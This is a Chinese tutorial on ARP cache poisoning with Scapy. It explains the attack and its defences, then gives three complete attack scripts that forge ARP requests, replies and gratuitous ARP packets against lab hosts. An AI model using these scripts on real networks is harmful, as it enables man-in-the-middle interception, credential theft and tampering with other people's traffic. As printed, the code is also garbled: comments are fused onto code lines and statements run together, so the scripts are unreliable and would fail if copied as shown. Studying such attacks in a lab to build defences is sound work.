利用 Scapy 库编写 ARP 缓存中毒攻击脚本

一、ARP 协议基础

参考下篇文章学习

二、ARP 缓存中毒原理

ARP（Address Resolution Protocol）缓存中毒是一种网络攻击，它利用了ARP协议中的漏洞，通过欺骗或篡改网络中的ARP缓存来实施攻击。ARP协议是用于将IP地址映射到物理MAC地址的协议，在IPv4网络中，每台计算机都有一个ARP缓存，用于保存IP地址到MAC地址的映射关系，以便进行网络通信。

2.1 攻击步骤：

**监听网络流量：**攻击者首先在目标网络中监听流量，以便识别目标计算机的IP地址和MAC地址。
**欺骗ARP响应：**攻击者发送虚假的ARP响应消息到目标计算机，告诉目标计算机说攻击者的MAC地址对应于目标计算机想要访问的IP地址。这样一来，目标计算机就会更新自己的ARP缓存，将攻击者的MAC地址错误地与目标IP地址关联起来。
**中间人攻击：**一旦目标计算机的ARP缓存被篡改，攻击者就可以拦截目标计算机发送的流量，并将其传递到正确的目标，同时也可以修改传输的数据。这使得攻击者能够窃取敏感信息或篡改通信内容。
**持久性攻击：**攻击者可能会持续发送虚假的ARP响应，以确保目标计算机的ARP缓存保持被篡改状态，从而持续进行攻击。

2.2 攻击危害：

**流量窃取：**攻击者可以拦截目标计算机的网络流量，窃取敏感信息，如登录凭证、信用卡信息等。
**数据篡改：**攻击者可以修改网络通信中的数据包，导致数据的篡改或损坏，可能导致系统故障或信息泄露。
**拒绝服务：**攻击者可以阻止目标计算机与其他网络资源的正常通信，导致网络服务的拒绝或延迟。

2.3 防护措施：

**ARP缓存监控：**定期监控网络中的ARP缓存，检测是否存在异常的ARP记录。
**静态ARP条目：**在网络设备中配置静态ARP条目，指定特定的IP地址与MAC地址的映射关系，以防止被篡改。
**ARP缓存定期清除：**定期清除设备上的ARP缓存，防止缓存中的错误信息长时间存在。
**网络流量加密：**使用加密协议（如TLS、SSH等）来保护网络通信中的数据，防止被攻击者窃取或篡改。
**网络入侵检测系统（IDS）：**部署IDS来监控网络流量，检测异常的ARP活动，并及时响应和阻止攻击。

三、安装 Scapy 库

3.1 Windows

pip install scapy

3.2 Linux

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性，如图所示：

hwtype：硬件类型字段，表示硬件地址的类型。默认为XShortEnumField类型，值为1，代表以太网。
ptype：协议类型字段，表示协议地址的类型。默认为XShortEnumField类型，值为2048，代表IPv4地址。
hwlen：硬件地址长度字段，表示硬件地址的长度。默认为FieldLenField类型，无默认值，根据硬件类型自动设置。
plen：协议地址长度字段，表示协议地址的长度。默认为FieldLenField类型，无默认值，根据协议类型自动设置。
op：操作码字段，表示ARP报文的操作类型，例如请求（1）或响应（2）。默认为ShortEnumField类型，值为1，代表ARP请求。
hwsrc：源硬件地址字段，表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型，无默认值。
psrc：源协议地址字段，表示发送ARP请求或响应的设备的协议地址（IP地址）。默认为MultipleTypeField类型，无默认值。
hwdst：目标硬件地址字段，表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型，无默认值。
pdst：目标协议地址字段，表示ARP请求或响应的目标设备的协议地址（IP地址）。默认为MultipleTypeField类型，无默认值。

小王：CentOS 9

张三：Red Hat 9

攻击者：Kail

五、攻击方式一：伪造 ARP 请求包

通过攻击者向小王发送伪造 ARP 请求数据包，使小王的本地 ARP 缓存表中添加一条记录：将张三的IP地址映射到攻击者的 MAC 地址

攻击者发起攻击：

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP# 目标的 IP 地址
Target_IP = "192.168.134.132"# 伪造的 IP 地址
Forgery_IP = "192.168.134.131"# 本机的 MAC 地址
My_MAC = "00:0c:29:b2:d6:43"print("ARP 缓存中毒攻击中……")# 创建以太网帧对象
E = Ether()# 设置以太网帧的源 MAC 地址
E.src = My_MAC# 创建一个ARP（Address Resolution Protocol）对象
A = ARP()# 设置ARP报文的操作码为 1，表示请求包
A.op = 1# 设置ARP报文的源 MAC 地址
A.hwsrc = My_MAC# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP# 设置 ARP 报文的目标 IP 地址
A.pdst = Target_IP# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧，形成完整的数据帧
frame = E / A# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击效果：小王的 ARP 缓存表中出现了张三的 IP 地址并且映射到了攻击者的 MAC 地址。同时也添加了攻击者的映射记录

六、攻击方法二：伪造 ARP 响应包

通过攻击者向张三发送伪造 ARP 响应数据包，使张三的本地 ARP 缓存表中更新一条记录：将小王的 IP 地址映射到攻击者的 MAC 地址

值得注意的是，此时张三的 ARP 缓存表仍处于初始状态，其中并不包含小王的 IP 地址对应的映射记录，而且由于 ARP 响应报文只能更新不能添加记录，因此 ARP 响应数据包并不会在张三的 ARP 缓存表中添加小王对应的记录

因此需要张三 Ping 通小王：

这样张三的 ARP 缓存表中就包含小王的 IP 地址对应的映射记录：

攻击者发起攻击：

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP# 目标的 MAC 地址
Target_MAC = "00:0c:29:cf:1f:f2"# 伪造的 IP 地址
Forgery_IP = "192.168.134.132"# 伪造的 MAC 地址
Forgery_MAC = "00:0c:29:b2:d6:43"print("ARP 缓存中毒攻击中……")# 创建以太网帧对象
E = Ether()# 设置以太网帧的目标 MAC 地址
E.dst = Target_MAC# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC# 创建一个 ARP（Address Resolution Protocol）对象
A = ARP()# 设置 ARP 报文的操作码为 2，表示响应包
A.op = 2# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Target_MAC# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧，形成完整的数据帧
frame = E / A# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击成功！

攻击效果：张三的 ARP 缓存表中小王的 IP 地址映射到了攻击者的 MAC 地址

七、攻击方式三：伪造免费 ARP 包

通过攻击者向网络中其它主机发送伪造免费 ARP 数据包，使张三和小王的本地 ARP 缓存表中更新一条记录：将攻击者的 IP 地址映射的 MAC 地址更新为：aa:bb:cc:dd:ee:ff

注意：免费 ARP 报文只能更新不能添加记录，所以与 ARP 响应包一样先有缓存记录

前提：张三和小王都先 Ping 通攻击者

攻击者发起攻击：

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP# 本地的 IP 地址
My_IP = "192.168.134.130"# 广播地址，向所有主机发送数据包
Broadcast_MAC = "ff:ff:ff:ff:ff:ff"# 伪造的 MAC 地址
Forgery_MAC = "aa:bb:cc:dd:ee:ff"print("ARP 缓存中毒攻击中……")# 创建以太网帧对象
E = Ether()# 设置以太网帧的目标 MAC 地址
E.dst = Broadcast_MAC# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC# 创建一个 ARP（Address Resolution Protocol）对象
A = ARP()# 设置 ARP 报文的操作码为 1
A.op = 1# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC# 设置 ARP 报文的源 IP 地址
A.psrc = My_IP# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Broadcast_MAC# 设置 ARP 报文的目标 IP 地址
A.pdst = My_IP# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧，形成完整的数据帧
frame = E/A# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)